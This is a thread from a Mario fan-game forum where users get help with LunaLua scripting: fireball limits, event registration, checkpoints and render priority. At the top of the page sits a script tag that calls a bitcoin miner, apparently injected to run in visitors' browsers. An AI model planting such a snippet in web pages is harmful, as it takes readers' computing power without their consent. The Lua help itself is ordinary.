<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitysmw centralmario fan games galaxy

LunaLua Help

User avatar
The Destroyer of Worlds
I am become death
Posts: 1486
Joined: 6 years ago

LunaLua Help

Postby The Destroyer of Worlds » 2 years ago

If you need help with anything LunaLua related, ask it here!

Please do check the wiki though since it's pretty comprehensive!
raocow wrote:Dang it Oyster this level is not called Peregrine Penguin and the Soft Bon-Bon, it clearly says Ghost House with a Ghost in It!

User avatar
Isrieri
Creatively Bankrupt
Posts: 71
Joined: 6 years ago
Pronouns: Male

Re: LunaLua Help

Postby Isrieri » 2 years ago

Okay lets get cracking!

I want to make a level based around the Starman, but I also want to try making some modifications to it's code (specifically, add a counter for after the music loops end and make use of the Colliders API), I think I understand what's going on for most of it, but some of the functions I have no clue what they do. For instance in starman.onTick there's something called NPC.getIntersecting. Is that for when mario picks up the star?

Another thing I tried to figure out last night is how to make Mario's fireballs shoot correctly (have only two on-screen at a time, with no timer in-between firing, and a change to their x-speed). But when I first tried it I didn't know what function or API I could use to count the fireballs in Mario's current section. I tried NPC.get but it returned some hex values, and NPC.count, which I couldn't figure out. I don't know what arguments .count takes, if any.


EDIT: Alright, I figured out the fireballs, but they persist while offscreen. I figure, I'll just find the screen coordinates and kill the npcs when they're about 4 blocks out, but I don't know how player.screen works. Its a RECT type and I went to look it up. Seems like its a function that returns the four boundary values? But whenever I try to use it I get "==> no such operator defined". Do I have to define a new RECT using player.screen? I'm clueless.

User avatar
Isrieri
Creatively Bankrupt
Posts: 71
Joined: 6 years ago
Pronouns: Male

Re: LunaLua Help

Postby Isrieri » 2 years ago

Okay! I finally figured all that fireball jazz out. It works in the level just fine. So I tried to put it into it's own API, but then I get this error:

Image

I went to mainV2.lua to check it out, but it looks as though its just defining the events for each API. I think it may be that I have to return some data from the API to the host level file but I don't know what needs to be returned.

Code:

Code: Select all

local properFireballs = {}

function properFireballs.onTick()
	local fireballs = NPC.get(13,player.section);
	local iceballs = NPC.get(265,player.section);
	local hammers = NPC.get(171,player.section);
	
	for _, v in pairs(fireballs) do	
		local offscreen = v:mem(0x128,FIELD_WORD)
		if offscreen == -1 then 
			v:mem(0x12A,FIELD_WORD,0)    --If shots are offscreen, set despawn to instant
		end
		if v.direction > 0 then
			v.speedX = 8
			else if v.direction < 0 then
				v.speedX = -8
			end
		end
		if fireballs[2] == nil then    --Checks if second index is filled for player section
		player:mem(0x160,FIELD_WORD,0)
		else
			player:mem(0x160,FIELD_WORD,1)
		end
	end
	
	for _, v in pairs(iceballs) do	
		local offscreen = v:mem(0x128,FIELD_WORD)
		if offscreen == -1 then
			v:mem(0x12A,FIELD_WORD,0)
		end
		if v.direction > 0 then
			v.speedX = 5.6
			else if v.direction < 0 then
				v.speedX = -5.6
			end
		end
		if iceballs[2] == nil then
			player:mem(0x160,FIELD_WORD,0)
		else
			player:mem(0x160,FIELD_WORD,1)
		end
	end
	
	for _, v in pairs(hammers) do	
		local offscreen = v:mem(0x128,FIELD_WORD)
		if offscreen == -1 then
			v:mem(0x12A,FIELD_WORD,0)
		end
		if hammers[2] == nil then
			player:mem(0x160,FIELD_WORD,0)
		else
			player:mem(0x160,FIELD_WORD,1)
		end
	end
end
	
function properFireballs.onInitAPI()
	registerEvent(properFirealls,"onTick","onTick")
end

return properFireballs;

User avatar
Hoeloe
A2XT person
Posts: 872
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaLua Help

Postby Hoeloe » 2 years ago

Isrieri wrote:registerEvent(properFirealls,"onTick","onTick")
Isrieri wrote:properFirealls
Isrieri wrote:Firealls
Isrieri wrote:alls
Be sure to check your spelling
Image
Image
Image
Image
Image

User avatar
Isrieri
Creatively Bankrupt
Posts: 71
Joined: 6 years ago
Pronouns: Male

Re: LunaLua Help

Postby Isrieri » 2 years ago

Oh my god, that was actually it. I'm so pissed at myself.

Thank you, Hoeloe! Now I know what to do if that error shows up again.

KittyTristy
Posts: 4
Joined: 2 years ago
Location: USA

Re: LunaLua Help

Postby KittyTristy » 2 years ago

.
Last edited by KittyTristy on 24 Apr 2019, 14:21, edited 1 time in total.

User avatar
Hoeloe
A2XT person
Posts: 872
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaLua Help

Postby Hoeloe » 2 years ago

KittyTristy wrote:No matter what I do, I can't get cinematX to work. I've followed the wiki and examples I've seen, and it just doesn't work at all. :/

Does anyone have any levels using cinematX that are working with SMBX 2.0 that I could take a look at?
CinematX is very old and broken and never quite worked properly. It's really not recommended to even try using it.
Image
Image
Image
Image
Image

KittyTristy
Posts: 4
Joined: 2 years ago
Location: USA

Re: LunaLua Help

Postby KittyTristy » 2 years ago

.
Last edited by KittyTristy on 24 Apr 2019, 14:21, edited 1 time in total.

User avatar
Hoeloe
A2XT person
Posts: 872
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaLua Help

Postby Hoeloe » 2 years ago

KittyTristy wrote: Ah. Well it was included with SMBX 2.0 and it's on the wiki so it didn't really seem like that way when I was looking around about it. Oh well. Thanks anyways. :3

It's been kept in for compatibility, but really you shouldn't be using it. There are some tools to do what it does in separate forms. The event scheduling is now part of eventu.lua, there's a simple "follower" script used by Bowser to replicate follower behaviour, pnpc.lua deals with keeping track of and modifying NPCs, and textblox.lua can deal with extra text printing (though that one is undergoing renovation at the moment). There's also imagic.lua, which can be used for drawing things like text boxes and speech bubbles should you want to.
Image
Image
Image
Image
Image

KittyTristy
Posts: 4
Joined: 2 years ago
Location: USA

Re: LunaLua Help

Postby KittyTristy » 2 years ago

.
Last edited by KittyTristy on 24 Apr 2019, 14:22, edited 1 time in total.

KittyTristy
Posts: 4
Joined: 2 years ago
Location: USA

Re: LunaLua Help

Postby KittyTristy » 2 years ago

.
Last edited by KittyTristy on 24 Apr 2019, 14:21, edited 1 time in total.

User avatar
Camwood777
oh man what
Posts: 15
Joined: 2 years ago
First name: Cam
Pronouns: he/him/his
Location: the land of tong-nou

Re: LunaLua Help

Postby Camwood777 » 2 years ago

For whatever reason, I can't get midpoints to work at all. I tried looking it up on the wiki, and it tells me to use multipoints.lua, so I guess it's a Lunalua thing.

At the same time, though, that raises more issues; Lunalua won't even open for me! It tells me to select a program... Can someone help me out here?
also goes by "camwoodstock", "camwood", "cws", or some variant thereof
plays video games i think

User avatar
ztarwuff
What the heck is a flair and why am I being asked to write one for my profile?
Posts: 551
Joined: 5 years ago
Location: Within 2 miles of the Imperial Crypt of Napoleon III

Re: LunaLua Help

Postby ztarwuff » 2 years ago

Camwood777 wrote:For whatever reason, I can't get midpoints to work at all. I tried looking it up on the wiki, and it tells me to use multipoints.lua, so I guess it's a Lunalua thing.

At the same time, though, that raises more issues; Lunalua won't even open for me! It tells me to select a program... Can someone help me out here?
Oh midpoints! Yes, midpoints are very easy.

The .lua files are basically just text documents. The notepad program that comes bundled with Windows can open them, but it's probably a better idea to get a free version of Notepad++. Notepad++ colour codes your lua code as you go along.

You'll need to create a .lua file called lunadll.lua in your level folder. Notepad doesn't give you the option, so you have to select all files, then type in lunadll.lua. NotePad++ however, does give you the option of saving as a .lua.

Here's a sample from one of my levels submitted to A2XT Episode 2:

Code: Select all

local multipoints = loadAPI("multipoints");

multipoints.addLuaCheckpoint(-19809, -20064, 9);
multipoints.addLuaCheckpoint(-199296, -200063, 0);
You need the first line to load the Multipoints API. The third and fourth lines are the midpoints. The numbers in the brackets are your coordinates: X, Y and Section Number. You get the X and Y coordinates from the debugger. Just switch the debugger on, and hover your mouse over where you want the midpoint goes. Write down the coordinates the debugger gives you. The section number is always one less than the actual one.

So in the above example, I have a midpoint in Section 10 and Section 1.

User avatar
Tyty
Posts: 46
Joined: 8 years ago

Re: LunaLua Help

Postby Tyty » 2 years ago

But of an odd question. Is there a way to draw something behind the player without putting it on their sprite sheet? Basically I'd like to imitate how the cape animates in SMW on a custom character, so it can animate independently and be drawn regardless of powerup state.

User avatar
Hoeloe
A2XT person
Posts: 872
Joined: 7 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaLua Help

Postby Hoeloe » 2 years ago

Tyty wrote: But of an odd question. Is there a way to draw something behind the player without putting it on their sprite sheet? Basically I'd like to imitate how the cape animates in SMW on a custom character, so it can animate independently and be drawn regardless of powerup state.
Absolutely! Take a look at the render priority system: http://wohlsoft.ru/pgewiki/LunaLua_Render_Priority

Certain functions in LunaLua allow you to supply a priority. Most priority levels are negative, and if you use a priority below the player (that's more negative than -25) when drawing with Lua, you can draw things behind the player.
Image
Image
Image
Image
Image

Noodle
AKA Stingy
Posts: 56
Joined: 1 year ago
Pronouns: I/me/mine
Location: In LazyTown

Re: LunaLua Help

Postby Noodle » 1 year ago

I want to make a level where things generate at random. There will be a total of 10 random screens generated horizontally before the flagpole and all pipes generated lead to a normal underground bonus section. When they come back up, the flagpole is there immediately.

User avatar
Ittababy
Posts: 11
Joined: 5 years ago

Re: LunaLua Help

Postby Ittababy » 1 year ago

I've re-skinned Ludwig and would like to have him throw hammers instead of fireballs. I feel like a total dope, not knowing this when it seems basic.
A very shy ghost.


Return to “SMBX2 (Current - 2.0 Beta 3)”

Who is online

Users browsing this forum: No registered users and 1 guest